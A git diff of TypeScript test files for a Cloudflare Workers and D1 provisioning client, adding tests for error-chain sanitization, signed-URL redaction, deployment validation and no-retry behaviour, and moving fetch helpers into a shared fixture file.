'revoked proxy', + () => { + const { proxy, revoke } = Proxy.revocable({}, {}); + revoke(); + return proxy; + }, + ], + ] as const)('terminates at a nested %s cause', async (_kind, cause) => { + const failure = await failedInitialUpload( + nestedTransportFailure(cause() as Error), + ); + const chain = boundedErrorCauses(failure); + + expect(chain.errors).toHaveLength(3); + expect(chain.terminal).toBeUndefined(); + expect(ownSerialization(failure)).not.toContain('super-secret'); + }); + + it('keeps the SDK timeout subclass as a sanitized Error cause', async () => { + // cloudflare/client.mjs:389 classifies this text as a timeout, then the SDK + // constructs APIConnectionTimeoutError without the injected error as cause. + const failure = await failedInitialUpload(new Error('transport timed out')); + const chain = boundedErrorCauses(failure); + + expect(chain.errors.map(({ name }) => name)).toEqual([ + 'APIConnectionTimeoutError', + ]); + expect(chain.errors[0]?.message).toBe('Request timed out.'); + expect(chain.terminal).toBeUndefined(); + }); + + it('caps a deep sanitized transport-error cause chain at eight levels', async () => { + let error = new Error('level 12'); + for (let level = 11; level >= 1; level -= 1) { + error = new Error(`level ${level}`, { cause: error }); + } + + const failure = await failedInitialUpload(error); + const chain = boundedErrorCauses(failure); + + // Eight sanitized levels = the SDK's APIConnectionError plus injected + // levels 1-7 (depth 0 is the wrapper). + expect(chain.errors).toHaveLength(8); + expect(chain.terminal).not.toBeInstanceOf(Error); + expect(Object.getOwnPropertyNames(chain.terminal)).toEqual(['name']); + }); + + it('drops nested upload error fields instead of retaining secret-bearing objects', async () => { + const fixture = recordingFetch(() => + Response.json( + { + success: false, + errors: [ + { + code: { nested: 'super-secret' }, + message: { nested: 'super-secret' }, + detail: 'super-secret', + }, + ], + messages: [], + result: null, + }, + { status: 400 }, + ), + ); + const client = plainClient({ fetch: fixture.fetch }); + const prepared = await client.prepareOrdinaryWorkerUpload( + uploadIntent('initial'), + ); + const failure = await fenced(client, () => + client.dispatchOrdinaryWorkerUpload(prepared), + ).catch((error: unknown) => error); + + expect(fact(failure, 'errors')).toEqual([{}]); + expect(ownSerialization(failure)).not.toContain('super-secret'); + expect(ownSerialization(failure)).not.toContain('nested'); + }); + + it.each([ + ['a non-array', 'boom'], + ['a null entry', [null]], + ] as const)('sanitizes provider errors with %s errors field', async (_kind, errors) => { + const fixture = recordingFetch(() => + Response.json( + { success: false, errors, messages: [], result: null }, + { status: 500 }, + ), + ); + const client = plainClient({ fetch: fixture.fetch }); + const prepared = await client.prepareOrdinaryWorkerUpload( + uploadIntent('initial'), + ); + const failure = await fenced(client, () => + client.dispatchOrdinaryWorkerUpload(prepared), + ).catch((error: unknown) => error); + + expect(fact(failure, 'status')).toBe(500); + expect(fact(failure, 'errors')).toEqual([]); + }); + + it('validates deployments before dispatch and sends the exact body once', async () => { + const fixture = recordingFetch(() => single({ id: 'deployment' })); + const client = plainClient({ fetch: fixture.fetch }); + const invalid = [ + [], + [{ versionId: 'v1', percentage: Number.NaN }], + [{ versionId: 'v1', percentage: 101 }], + [ + { versionId: 'v1', percentage: 50 }, + { versionId: 'v1', percentage: 50 }, + ], + ]; + for (const versions of invalid) { + await expect( + (async () => { + const prepared = client.prepareOrdinaryWorkerDeployment(versions); + await fenced(client, () => + client.dispatchOrdinaryWorkerDeployment('plain', prepared), + ); + })(), + ).rejects.toThrow(); + } + expect(fixture.requests).toHaveLength(0); + const prepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v1', percentage: 25 }, + { versionId: 'v2', percentage: 75 }, + ]); + await fenced(client, () => + client.dispatchOrdinaryWorkerDeployment('plain', prepared), + ); + expect(fixture.requests).toHaveLength(1); + expect(fixture.requests[0]?.body).toEqual({ + strategy: 'percentage', + versions: [ + { version_id: 'v1', percentage: 25 }, + { version_id: 'v2', percentage: 75 }, + ], + }); + }); + + it.each([ + 'deployment', + 'create', + 'query', + 'batch', + 'export', + ] as const)('does not retry a %s failure', async (operation) => { + const fixture = recordingFetch(() => apiFailure(500)); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write: async () => ({ location: 'x', size: 1, sha256: 'x' }), + }, + }); + const invoke = () => { + switch (operation) { + case 'deployment': + return client.dispatchOrdinaryWorkerDeployment( + 'plain', + client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v1', percentage: 100 }, + ]), + ); + case 'create': + return client.createDatabase('db'); + case 'query': + return client.queryDatabase('db', 'SELECT 1'); + case 'batch': + return client.batchDatabase('db', [{ sql: 'SELECT 1' }]); + case 'export': + return client.exportDatabase('db'); + default: + throw new Error(`unknown operation ${operation satisfies never}`); + } + }; + await expect( + fenced(client, async () => { + await invoke(); + }), + ).rejects.toBeDefined(); + expect(fixture.requests).toHaveLength(1); + }); + + it.each([ + [404, 'absent'], + [200, 'deleted'], + ] satisfies ReadonlyArray< + readonly [number, 'absent' | 'deleted'] + >)('classifies ordinary Worker delete status %s as %s', async (status, result) => { + const fixture = recordingFetch(() => + status === 404 ? apiFailure(404) : single({}), + ); + const client = plainClient({ fetch: fixture.fetch }); + await expect( + fenced(client, () => client.deleteOrdinaryWorkerScript('plain')), + ).resolves.toBe(result); + }); + + it.each([ + 403, 500, + ])('propagates ordinary Worker delete status %s', async (status) => { + const fixture = recordingFetch(() => apiFailure(status)); + const client = plainClient({ fetch: fixture.fetch }); + await expect( + fenced(client, () => client.deleteOrdinaryWorkerScript('plain')), + ).rejects.toThrow(); + }); + + it('rejects quota acquisition for reads and writes before fetch', async () => { + const fetch = vi.fn(); + const client = plainClient({ + fetch, + rateCoordinator: { + acquire: async () => { + throw new Error('quota unavailable'); + }, + }, + }); + let readFailure: unknown; + let writeFailure: unknown; + try { + await client.listOrdinaryWorkerDatabases(); + } catch (error) { + readFailure = error; + } + try { + await fenced(client, () => client.deleteOrdinaryWorkerScript('plain')); + } catch (error) { + writeFailure = error; + } + expect(ownSerialization(readFailure)).toContain('quota unavailable'); + expect(ownSerialization(writeFailure)).toContain('quota unavailable'); + expect(fetch).not.toHaveBeenCalled(); + }); + + it.each([ + [ + 'invalid-url', + () => + single({ + status: 'complete', + result: { + signed_url: + 'ht!tps://download.example.test/private/path?token=secret', + }, + }), + undefined, + ], + [ + 'non-https-url', + () => + single({ + status: 'complete', + result: { + signed_url: + 'http://download.example.test/private/path?token=secret', + }, + }), + 'export returned a non-HTTPS download URL', + ], + [ + 'fetch-rejection', + () => + single({ + status: 'complete', + result: { + signed_url: + 'https://download.example.test/private/path?token=secret', + }, + }), + undefined, + ], + [ + 'status-error', + () => + single({ + status: 'error', + error: 'https://download.example.test/private/path?token=secret', + }), + "provider status 'error'", + ], + [ + 'sdk-error', + () => + apiFailure( + 500, + 'https://download.example.test/private/path?token=secret', + ), + 'HTTP 500', + ], + ['no-bookmark', () => single({ status: 'pending' }), 'no polling bookmark'], + ] as const)('redacts a %s signed export URL failure', async (_kind, providerResponse, expectedFragment) => { + const signedUrl = 'https://download.example.test/private/path?token=secret'; + const fixture = recordingFetch(async ({ url, headers, redirect }) => { + if (url.startsWith('https://download.example.test/')) { + expect(headers.has('authorization')).toBe(false); + expect(redirect).toBe('error'); + const error = new Error(signedUrl); + error.name = signedUrl; + throw error; + } + return providerResponse(); + }); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write: async () => ({ location: 'x', size: 1, sha256: 'x' }), + }, + }); + let failure: unknown; + try { + await fenced(client, () => client.exportDatabase('db')); + } catch (error) { + failure = error; + } + expect(ownSerialization(failure)).not.toContain('/private/path'); + expect(ownSerialization(failure)).not.toContain('token=secret'); + if (expectedFragment) { + expect(String(fact(failure, 'message'))).toContain(expectedFragment); + } + }); + + it('redacts a signed export URL from a throwing status accessor', async () => { + const signedUrl = 'https://download.example.test/private/path?token=secret'; + const fixture = recordingFetch(({ url }) => { + if (url === signedUrl) { + const error = new Error('download failed'); + Object.defineProperty(error, 'status', { + get: () => { + throw new Error(`leak ${signedUrl}`); + }, + }); + return Promise.reject(error); + } + return single({ + status: 'complete', + result: { signed_url: signedUrl }, + }); + }); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write: async () => ({ location: 'x', size: 1, sha256: 'x' }), + }, + }); + const failure = await fenced(client, () => + client.exportDatabase('db'), + ).catch((error: unknown) => error); + + expect(ownSerialization(failure)).not.toContain('/private/path'); + expect(ownSerialization(failure)).not.toContain('token=secret'); + expect(fact(failure, 'message')).toBe( + "D1 export for 'db' failed after 1 poll(s)", + ); + expect(fact(failure, 'cause')).toEqual({ name: 'unknown' }); + }); + + it('reports exhaustion of the D1 export poll budget safely', async () => { + vi.useFakeTimers(); + try { + let poll = 0; + const fixture = recordingFetch(() => { + poll += 1; + return single({ status: 'pending', at_bookmark: `bookmark-${poll}` }); + }); + const client = plainClient({ + fetch: fixture.fetch, + exportStore: { + write: async () => ({ location: 'x', size: 1, sha256: 'x' }), + }, + }); + const failurePromise = fenced(client, () => client.exportDatabase('db')) + .then(() => undefined) + .catch((error: unknown) => error); + + await vi.runAllTimersAsync(); + const failure = await failurePromise; + + expect(String(fact(failure, 'message'))).toContain( + 'export did not complete within the poll budget', + ); + expect(ownSerialization(failure)).not.toContain('bookmark-'); + expect(fixture.requests).toHaveLength(120); + } finally { + vi.useRealTimers(); + } + }); + + it('executes a nested same-fence request with one transport assertion', async () => { + const fixture = recordingFetch(() => single({})); + const client = plainClient({ fetch: fixture.fetch }); + let executions = 0; + const assertOwned = vi.fn(async () => {}); + const fence = { mutationLeaseTtlMs: 15 * 60_000, assertOwned }; + await client.withMutationFence(fence, () => + client.withMutationFence(fence, async () => { + executions += 1; + await client.deleteOrdinaryWorkerScript('plain'); + }), + ); + expect(executions).toBe(1); + expect(fixture.requests).toHaveLength(1); + expect(assertOwned).toHaveBeenCalledTimes(1); + }); + + it('bounds WFP dispatch-script items across cursor pages', async () => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + const authority = zoneAuthorityResponse(target, []); + if (authority) return authority; + const pathname = target.pathname; + if (pathname.endsWith('/workers/dispatch/namespaces/fleet/scripts')) { + const offset = target.searchParams.has('cursor') ? 5_000 : 0; + const count = offset === 0 ? 5_000 : 5_001; + return Response.json({ + success: true, + errors: [], + messages: [], + result: Array.from({ length: count }, (_, index) => ({ + id: `script-${offset + index}`, + tags: [], + })), + result_info: offset === 0 ? { cursor: 'next-page' } : {}, + }); + } + if ( + pathname.endsWith('/workers/domains') || + pathname.endsWith('/workers/scripts') || + pathname.endsWith('/d1/database') || + pathname.endsWith('/workers/durable_objects/namespaces') + ) { + return pageArray([]); + } + if (target.searchParams.has('page')) return pageArray([]); + throw new Error(`unexpected Cloudflare request: ${target.href}`); + }); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + dispatchNamespace: 'fleet', + fetch: fixture.fetch, + }); + + await expect( + client.collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: true, + }), + ).rejects.toThrow( + 'dispatch script inventory exceeded the supported inventory bound of 10000 items', + ); + }); + + it('keeps WFP D1 create and query at one provider attempt', async () => { + for (const operation of ['create', 'query']) { + const fixture = recordingFetch(() => apiFailure(500)); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: fixture.fetch, + }); + await expect( + fenced(client, async () => { + await (operation === 'create' + ? client.createDatabase('db') + : client.queryDatabase('db', 'SELECT 1')); + }), + ).rejects.toBeDefined(); + expect(fixture.requests).toHaveLength(1); + } + }); +}); diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index 59da20ec..0d52d3fc 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -7,12 +7,18 @@ import { type DurableDatabaseExportStore, dispatchMigrations, } from '../src/cloudflare-client.js'; -import { ProcessLocalCloudflareApiRateCoordinator } from '../src/cloudflare-rate-coordinator.js'; import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; import type { DeploymentSpec, ExternalPlatformResources, } from '../src/types.js'; +import { + envelope, + errorChain, + fenced, + testRateCoordinator, + zoneAuthorityResponse, +} from './fixtures/cloudflare-fetch-fixture.js'; function deployment(overrides: Partial = {}): DeploymentSpec { return { @@ -40,88 +46,6 @@ function deployment(overrides: Partial = {}): DeploymentSpec { }; } -function envelope(result: unknown): Response { - return Response.json({ - success: true, - errors: [], - messages: [], - result, - result_info: { - page: 1, - per_page: 20, - count: Array.isArray(result) ? result.length : 1, - total_count: Array.isArray(result) ? result.length : 1, - total_pages: 1, - }, - }); -} - -function zoneAuthorityResponse( - url: URL, - zoneIds: readonly string[], -): Response | undefined { - if (url.pathname.endsWith('/user/tokens/verify')) { - return envelope({ id: 'token-id', status: 'active' }); - } - if (url.pathname.endsWith('/accounts/account/tokens/token-id')) { - return envelope({ - id: 'token-id', - status: 'active', - policies: [ - { - id: 'zone-authority', - effect: 'allow', - permission_groups: [ - { id: 'zone-read', name: 'Zone Read' }, - { id: 'routes-read', name: 'Workers Routes Read' }, - { id: 'routes-write', name: 'Workers Routes Write' }, - ], - resources: { - 'com.cloudflare.api.account.account': { - 'com.cloudflare.api.account.zone.*': '*', - }, - }, - }, - ], - }); - } - if (url.pathname.endsWith('/zones')) { - expect(url.searchParams.get('account.id')).toBe('account'); - if (url.searchParams.has('page')) return envelope([]); - return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } }))); - } - return undefined; -} - -function fenced( - client: CloudflareProvisioningClient, - operation: () => Promise, -): Promise { - return client.withMutationFence( - { - mutationLeaseTtlMs: 15 * 60_000, - assertOwned: async () => {}, - }, - operation, - ); -} - -function testRateCoordinator( - intervalCap?: number, -): ProcessLocalCloudflareApiRateCoordinator { - return new ProcessLocalCloudflareApiRateCoordinator(intervalCap); -} - -function errorChain(error: unknown): string { - const messages: string[] = []; - let current = error; - while (current instanceof Error) { - messages.push(current.message); - current = current.cause; - } - return messages.join(' | '); -} - describe('CloudflareProvisioningClient', () => { it('fails closed for unfenced writes and request timeouts outside the lease TTL', async () => { let providerWrites = 0; diff --git a/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts b/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts index 91bda28a..357ee795 100644 --- a/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts +++ b/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts @@ -4,6 +4,7 @@ import type { D1Database } from '@cloudflare/workers-types'; import { describe, expect, it, vi } from 'vitest'; import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; import { D1CloudflareApiRateCoordinator } from '../src/cloudflare-rate-coordinator.js'; +import { envelope } from './fixtures/cloudflare-fetch-fixture.js'; const WINDOW_MS = 5 * 60_000; @@ -100,22 +101,6 @@ function directBinding(database: RateDatabase): D1Database { return database as unknown as D1Database; } -function envelope(result: unknown): Response { - return Response.json({ - success: true, - errors: [], - messages: [], - result, - result_info: { - page: 1, - per_page: 20, - count: Array.isArray(result) ? result.length : 1, - total_count: Array.isArray(result) ? result.length : 1, - total_pages: 1, - }, - }); -} - describe('D1CloudflareApiRateCoordinator', () => { it('fails closed before a provider request when coordination fails', async () => { const request = vi.fn(async () => envelope([])); diff --git a/packages/fleet-control/test/credentialed-conformance.test.ts b/packages/fleet-control/test/credentialed-conformance.test.ts index 82e24c68..57f5f331 100644 --- a/packages/fleet-control/test/credentialed-conformance.test.ts +++ b/packages/fleet-control/test/credentialed-conformance.test.ts @@ -591,8 +591,8 @@ describe('credentialed conformance command', () => { it('pins live-only plain-lane request and recovery invariants', () => { const source = readFileSync(scriptPath, 'utf8'); - expect(source).toContain( - 'const cloudflare = new Cloudflare({ apiToken, maxRetries: 0 });', + expect(source).toMatch( + /const cloudflare = new Cloudflare\(\{\s*apiToken,\s*logLevel: 'off',\s*maxRetries: 0,\s*\}\);/u, ); expect(source).toMatch( /deployment\.store\.withDeploymentLease\(\s*spec\.tenantTag,\s*spec\.environment,\s*async \(fence\)/u, diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts new file mode 100644 index 00000000..666ccefe --- /dev/null +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -0,0 +1,478 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { expect } from 'vitest'; +import type { CloudflareProvisioningClient } from '../../src/cloudflare-client.js'; +import { + type CloudflareApiRateCoordinator, + ProcessLocalCloudflareApiRateCoordinator, +} from '../../src/cloudflare-rate-coordinator.js'; + +type PageInfo = Readonly<{ + page?: number; + per_page?: number; + count?: number; + total_count?: number; + total_pages?: number; + cursor?: string; + cursors?: Readonly<{ after?: string }>; +}>; + +function page(result: unknown, info: PageInfo): Response { + let items: readonly unknown[] | undefined; + if (Array.isArray(result)) { + items = result; + } else if (result && typeof result === 'object') { + const candidate = Reflect.get(result, 'items'); + if (Array.isArray(candidate)) items = candidate; + } + const count = items?.length ?? 1; + return Response.json({ + success: true, + errors: [], + messages: [], + result, + result_info: { + page: 1, + per_page: count, + count, + total_count: count, + total_pages: 1, + ...info, + }, + }); +} + +export function pageArray( + items: readonly unknown[], + info: PageInfo = {}, +): Response { + return page(items, info); +} + +export function pageItems( + items: readonly unknown[], + info: PageInfo = {}, +): Response { + return page({ items }, info); +} + +export function single(result: unknown): Response { + return Response.json({ + success: true, + errors: [], + messages: [], + result, + }); +} + +export function envelope(result: unknown): Response { + return page(result, { per_page: 20 }); +} + +export function zoneAuthorityResponse( + url: URL, + zoneIds: readonly string[], +): Response | undefined { + if (url.pathname.endsWith('/user/tokens/verify')) { + return envelope({ id: 'token-id', status: 'active' }); + } + if (url.pathname.endsWith('/accounts/account/tokens/token-id')) { + return envelope({ + id: 'token-id', + status: 'active', + policies: [ + { + id: 'zone-authority', + effect: 'allow', + permission_groups: [ + { id: 'zone-read', name: 'Zone Read' }, + { id: 'routes-read', name: 'Workers Routes Read' }, + { id: 'routes-write', name: 'Workers Routes Write' }, + ], + resources: { + 'com.cloudflare.api.account.account': { + 'com.cloudflare.api.account.zone.*': '*', + }, + }, + }, + ], + }); + } + if (url.pathname.endsWith('/zones')) { + expect(url.searchParams.get('account.id')).toBe('account'); + if (url.searchParams.has('page')) return envelope([]); + return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } }))); + } + return undefined; +} + +export function fenced( + client: CloudflareProvisioningClient, + operation: () => Promise, + events?: string[], +): Promise { + return client.withMutationFence( + { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => { + events?.push('assertOwned'); + }, + }, + operation, + ); +} + +export function testRateCoordinator( + intervalCap?: number, + events?: string[], +): CloudflareApiRateCoordinator { + const coordinator = new ProcessLocalCloudflareApiRateCoordinator(intervalCap); + if (!events) return coordinator; + return { + acquire: async (signal) => { + events.push('quota:acquire'); + await coordinator.acquire(signal); + }, + }; +} + +export function deferred(): { + readonly promise: Promise; + readonly resolve: (value: T) => void; +} { + let resolve!: (value: T) => void; + const promise = new Promise((next) => { + resolve = next; + }); + return { promise, resolve }; +} + +export function errorChain(error: unknown): string { + const messages: string[] = []; + let current = error; + while (current instanceof Error) { + messages.push(current.message); + current = current.cause; + } + return messages.join(' | '); +} + +export interface CloudflareFetchRecord { + readonly method: string; + readonly url: string; + readonly body: unknown; +} + +export interface CloudflareFixtureRequest extends CloudflareFetchRecord { + readonly headers: Headers; + readonly redirect: RequestInit['redirect']; +} + +export type CloudflareFixtureHandler = ( + request: CloudflareFixtureRequest, +) => Response | Promise; + +// cloudflare/internal/uploads.mjs:51-74 probes whether this fetch +// implementation encodes a real FormData body (instead of stringifying it) +// before deciding whether multipart uploads are usable. +class UnsupportedFormDataResponse { + constructor(readonly body: unknown) {} + + async text(): Promise { + return String(this.body); + } +} + +async function decodeBody(body: BodyInit | null | undefined): Promise { + if (body instanceof FormData) { + const files: Array<{ name: string; type: string; text: string }> = []; + const fields: Record = {}; + for (const [name, value] of body.entries()) { + if (value instanceof File) { + files.push({ + name: value.name, + type: value.type, + text: await value.text(), + }); + } else if (name === 'metadata') { + fields[name] = JSON.parse(value); + } else { + fields[name] = value; + } + } + return { ...fields, files }; + } + if (typeof body === 'string') { + try { + return JSON.parse(body); + } catch { + return body; + } + } + return body ?? undefined; +} + +export function recordingFetch( + handler: CloudflareFixtureHandler, + events: string[] = [], + options: { readonly formDataProbe?: 'unsupported' } = {}, +): { + readonly fetch: typeof fetch; + readonly requests: CloudflareFetchRecord[]; + readonly probes: string[]; + readonly events: string[]; +} { + const requests: CloudflareFetchRecord[] = []; + const probes: string[] = []; + const fixtureFetch: typeof fetch = async (input, init) => { + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + if (url.protocol === 'data:') { + probes.push(url.href); + if (options.formDataProbe === 'unsupported') { + return new UnsupportedFormDataResponse( + new FormData(), + ) as unknown as Response; + } + return new Response(new FormData()); + } + const method = ( + init?.method ?? (input instanceof Request ? input.method : 'GET') + ).toUpperCase(); + const body = await decodeBody(init?.body); + const record = { method, url: url.href, body }; + requests.push(record); + events.push(`request:${url.pathname}`); + return handler({ + ...record, + headers: new Headers(init?.headers), + redirect: init?.redirect, + }); + }; + return { fetch: fixtureFetch, requests, probes, events }; +} + +export interface ProviderWorld { + readonly scripts: Map< + string, + { + versions: Array<{ + versionId: string; + tag: string | undefined; + bindings: readonly unknown[]; + }>; + deployment?: Array<{ versionId: string; percentage: number }>; + subdomain: { enabled: boolean; previewsEnabled: boolean }; + } + >; + readonly databases: Array<{ databaseId: string; name: string }>; +} + +export function providerWorld(): ProviderWorld { + return { scripts: new Map(), databases: [] }; +} + +export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { + return async ({ method, url, body }) => { + const target = new URL(url); + const parts = target.pathname.split('/').filter(Boolean); + const scriptsIndex = parts.indexOf('scripts'); + const scriptName = scriptsIndex >= 0 ? parts[scriptsIndex + 1] : undefined; + const bodyField = (name: string): unknown => + body && typeof body === 'object' ? Reflect.get(body, name) : undefined; + if (target.pathname.endsWith('/d1/database') && method === 'GET') { + if (target.searchParams.has('page')) return pageArray([]); + const requestedName = target.searchParams.get('name'); + return pageArray( + world.databases + .filter( + ({ name }) => requestedName === null || name === requestedName, + ) + .map(({ databaseId, name }) => ({ + uuid: databaseId, + name, + })), + ); + } + if (target.pathname.endsWith('/d1/database') && method === 'POST') { + const name = bodyField('name'); + const databaseId = `database-${world.databases.length + 1}`; + world.databases.push({ + databaseId, + name: typeof name === 'string' ? name : '', + }); + return single({ uuid: databaseId, name }); + } + const databaseIndex = parts.indexOf('database'); + const databaseId = + databaseIndex >= 0 ? parts[databaseIndex + 1] : undefined; + if ( + databaseId && + target.pathname.endsWith(`/d1/database/${databaseId}`) && + method === 'GET' + ) { + const database = world.databases.find( + (candidate) => candidate.databaseId === databaseId, + ); + return database + ? single({ uuid: database.databaseId, name: database.name }) + : Response.json({ errors: [] }, { status: 404 }); + } + if ( + databaseId && + target.pathname.endsWith(`/d1/database/${databaseId}`) && + method === 'DELETE' + ) { + const index = world.databases.findIndex( + (candidate) => candidate.databaseId === databaseId, + ); + if (index < 0) return Response.json({ errors: [] }, { status: 404 }); + world.databases.splice(index, 1); + return single({}); + } + if (databaseId && target.pathname.endsWith('/query') && method === 'POST') { + return pageArray([{ success: true, results: [] }]); + } + if (!scriptName) { + throw new Error(`unexpected request ${method} ${target.pathname}`); + } + let script = world.scripts.get(scriptName); + if ( + target.pathname.endsWith(`/workers/scripts/${scriptName}`) && + method === 'PUT' + ) { + const metadata = bodyField('metadata'); + const versionId = `version-${(script?.versions.length ?? 0) + 1}`; + script ??= { + versions: [], + subdomain: { enabled: false, previewsEnabled: false }, + }; + script.versions.unshift({ + versionId, + tag: readVersionTag(metadata), + bindings: readBindings(metadata), + }); + world.scripts.set(scriptName, script); + return single({ id: scriptName }); + } + if (!script) return Response.json({ errors: [] }, { status: 404 }); + if ( + target.pathname.endsWith(`/workers/scripts/${scriptName}`) && + method === 'DELETE' + ) { + world.scripts.delete(scriptName); + return single({}); + } + if (target.pathname.endsWith('/deployments') && method === 'GET') { + return single({ + deployments: script.deployment + ? [ + { + id: 'deployment', + created_on: '2026-08-26T00:00:00.000Z', + source: 'api', + strategy: 'percentage', + versions: script.deployment.map( + ({ versionId, percentage }) => ({ + version_id: versionId, + percentage, + }), + ), + }, + ] + : [], + }); + } + if (target.pathname.endsWith('/versions') && method === 'GET') { + if (target.searchParams.has('page')) return pageItems([]); + return pageItems( + script.versions.map(({ versionId, tag }) => ({ + id: versionId, + annotations: tag === undefined ? undefined : { 'workers/tag': tag }, + })), + ); + } + if (target.pathname.endsWith('/versions') && method === 'POST') { + const metadata = bodyField('metadata'); + const bindings = readBindings(metadata); + const versionId = `version-${script.versions.length + 1}`; + script.versions.unshift({ + versionId, + tag: readVersionTag(metadata), + bindings, + }); + return single({ + id: versionId, + resources: { bindings }, + }); + } + const versionId = parts.at(-1); + if ( + versionId && + target.pathname.endsWith(`/versions/${versionId}`) && + method === 'GET' + ) { + const version = script.versions.find( + (item) => item.versionId === versionId, + ); + if (!version) return Response.json({ errors: [] }, { status: 404 }); + return single({ + id: version.versionId, + annotations: + version.tag === undefined + ? undefined + : { 'workers/tag': version.tag }, + resources: { bindings: version.bindings }, + }); + } + if (target.pathname.endsWith('/subdomain') && method === 'GET') { + return single({ + enabled: script.subdomain.enabled, + previews_enabled: script.subdomain.previewsEnabled, + }); + } + if (target.pathname.endsWith('/subdomain') && method === 'POST') { + const payload = body && typeof body === 'object' ? body : {}; + script.subdomain.enabled = Reflect.get(payload, 'enabled') === true; + script.subdomain.previewsEnabled = + Reflect.get(payload, 'previews_enabled') === true; + return single({ enabled: script.subdomain.enabled }); + } + if (target.pathname.endsWith('/deployments') && method === 'POST') { + const versions = bodyField('versions'); + script.deployment = Array.isArray(versions) + ? versions.map((version) => ({ + versionId: readStringFact(version, 'version_id') ?? '', + percentage: Number(Reflect.get(version, 'percentage')), + })) + : []; + return single({ id: 'deployment' }); + } + throw new Error(`unexpected request ${method} ${target.pathname}`); + }; +} + +function readVersionTag(metadata: unknown): string | undefined { + if (!metadata || typeof metadata !== 'object') return undefined; + const annotations = Reflect.get(metadata, 'annotations'); + if (!annotations || typeof annotations !== 'object') return undefined; + const tag = Reflect.get(annotations, 'workers/tag'); + return typeof tag === 'string' ? tag : undefined; +} + +function readStringFact(value: unknown, name: string): string | undefined { + if (!value || typeof value !== 'object') return undefined; + const candidate = Reflect.get(value, name); + return typeof candidate === 'string' ? candidate : undefined; +} + +function readBindings(metadata: unknown): readonly unknown[] { + if (!metadata || typeof metadata !== 'object') return []; + const bindings = Reflect.get(metadata, 'bindings'); + return Array.isArray(bindings) ? bindings : []; +} diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 26f963b9..5ce0fbe9 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -6,6 +6,7 @@ import { WorkerDeploymentError } from '../src/deployment-error.js'; import { PlainWorkerBackend } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { + ApplicationR2Binding, DatabaseReference, DeploymentSecrets, DeploymentSpec, @@ -24,9 +25,9 @@ import { PlainWorkerProvisioningApiFake, } from './fixtures/plain-worker-provisioning-api-fake.js'; -// The legacy Wrangler suite remains the compatibility proof. This suite proves -// that the core runs without a CLI adapter and seeds the direct-API conformance -// fixture. Cases here cover core-to-port policy, not duplicate adapter behavior. +// The legacy Wrangler suite remains the compatibility proof. The core-policy +// cases here prove that the core runs without a CLI adapter and seed the +// direct-API conformance fixture; they do not duplicate adapter behavior. const spec: DeploymentSpec = { tenantTag: 'acme', @@ -52,6 +53,12 @@ const database: DatabaseReference = { created: true, }; +const r2Resource: ApplicationR2Binding = { + name: 'ARTIFACTS', + bucketName: 'acme-production-artifacts', + jurisdiction: 'default', +}; + const secrets: DeploymentSecrets = { deploymentIdentity: 'deployment-identity-secret-value-0001', maintenanceAdmin: 'maintenance-admin-secret-value-00001', @@ -71,17 +78,13 @@ function backend( }); } -function ownedVersion( - id: string, - deployment = spec, - databaseId = database.id, -): PlainWorkerVersionDetail { +function ownedVersion(id: string, deployment = spec): PlainWorkerVersionDetail { const digest = deploymentSpecDigest(deployment); return { versionId: id, tag: digest, bindings: [ - { type: 'd1', name: 'DB', databaseId }, + { type: 'd1', name: 'DB', databaseId: database.id }, { type: 'plain-text', name: 'DEPLOYMENT_TENANT', @@ -199,6 +202,40 @@ describe('WranglerLoopBackend construction', () => { }); describe('PlainWorkerBackend core policy', () => { + it.each([ + ['empty', ''], + ['space', 'contains space'], + ['newline', 'contains\nnewline'], + ['non-printable', '\u007f'], + ['too long', 'x'.repeat(129)], + ['non-string', 42 as unknown as string], + ])('rejects a %s identity caller', (_label, identityCaller) => { + expect( + () => + new PlainWorkerBackend({ + api: new PlainWorkerProvisioningApiFake(), + identityCaller, + }), + ).toThrow( + 'plain Worker backend identityCaller must be a 1-128 character single-line token', + ); + }); + + it('accepts the identity caller boundary lengths', () => { + expect( + new PlainWorkerBackend({ + api: new PlainWorkerProvisioningApiFake(), + identityCaller: 'x', + }), + ).toBeInstanceOf(PlainWorkerBackend); + expect( + new PlainWorkerBackend({ + api: new PlainWorkerProvisioningApiFake(), + identityCaller: 'x'.repeat(128), + }), + ).toBeInstanceOf(PlainWorkerBackend); + }); + it('reconciles a failed database creation by provider name', async () => { const api = new PlainWorkerProvisioningApiFake(); const providerError = new Error('create response lost'); @@ -211,16 +248,10 @@ describe('PlainWorkerBackend core policy', () => { expect(api.queries).toHaveLength(1); }); 